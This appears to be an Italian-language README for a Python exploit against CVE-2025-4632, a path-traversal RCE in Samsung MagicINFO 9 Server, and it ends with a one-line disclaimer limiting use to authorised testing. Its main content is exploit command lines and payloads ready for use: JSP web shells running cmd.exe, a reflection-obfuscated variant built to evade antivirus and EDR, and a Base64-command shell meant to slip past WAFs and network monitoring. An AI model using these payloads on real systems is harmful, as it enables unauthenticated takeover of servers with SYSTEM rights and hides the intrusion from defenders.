Questa repository contiene uno script di replica in Python per CVE-2025-4632, una vulnerabilità di esecuzione remota di codice non autenticata (RCE) in Samsung MagicINFO 9 Server (versioni precedenti alla 21.1052).
Questo repository contiene uno script di replica in Python per CVE-2025-4632, una vulnerabilità di Remote Code Execution (RCE) non autenticata nel Samsung MagicINFO 9 Server (versioni precedenti alla 21.1052).
La vulnerabilità è dovuta a una limitazione impropria di un pathname nella servlet SWUpdateFileUploader. Utilizzando il path traversal (../../), un attaccante non autenticato può scrivere file arbitrari con autorità SYSTEM, portando alla compromissione totale del server.
s4e-io (dalla community ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632.Lo script automatizza il processo di generazione di una richiesta di aggiornamento del dispositivo dall'aspetto legittimo. Sfrutta il parametro fileName iniettando sequenze di directory traversal per uscire dalla directory di upload prevista e scrivere un file direttamente nella web root (/MagicInfo/).
Lo script esegue due passaggi:
/MagicInfo/servlet/SWUpdateFileUploader con il percorso di traversal./MagicInfo/<filename> per confermare il successo dello sfruttamento.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: L'URL di base del target (es. http://192.168.1.100:7001).-f / --filename: Il nome del file da creare (es. shell.jsp).-d / --data: Il contenuto grezzo da scrivere nel file.I seguenti payload sono stati testati con successo durante le attività di assessment. Sono progettati per dimostrare l'impatto aggirando i controlli di sicurezza degli endpoint.
Utilizzato per confermare in sicurezza l'esecuzione JSP senza attivare Antivirus o EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Accesso: http://<target>:7001/MagicInfo/poc.jsp
Una web shell JSP standard. Nota: potrebbe essere rilevata e messa in quarantena dalle moderne soluzioni AV/EDR, risultando in un 404 Not Found durante la verifica.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Accesso: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Utilizzato quando la shell standard viene bloccata. Questo payload usa Java Reflection per nascondere la firma Runtime.getRuntime().exec dall'analisi statica.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Accesso: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Altamente Raccomandata per Comandi Complessi: Se incontri errori 400 Bad Request quando provi a eseguire comandi con spazi, barre rovesciate o caratteri speciali (es. dir c:\), la rigorosa validazione URI del server o un WAF sta bloccando la richiesta.
Questo payload avanzato si aspetta che il comando sia codificato in Base64 nell'URL. Lo decodifica lato server prima dell'esecuzione, bypassando completamente il filtro URL e oscurando il comando dai monitor di rete.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Esempi di Utilizzo:
Codifica il tuo comando in Base64 localmente (es. echo -n "dir c:\" | base64), poi passalo al parametro c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Disclaimer: Questo script è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati.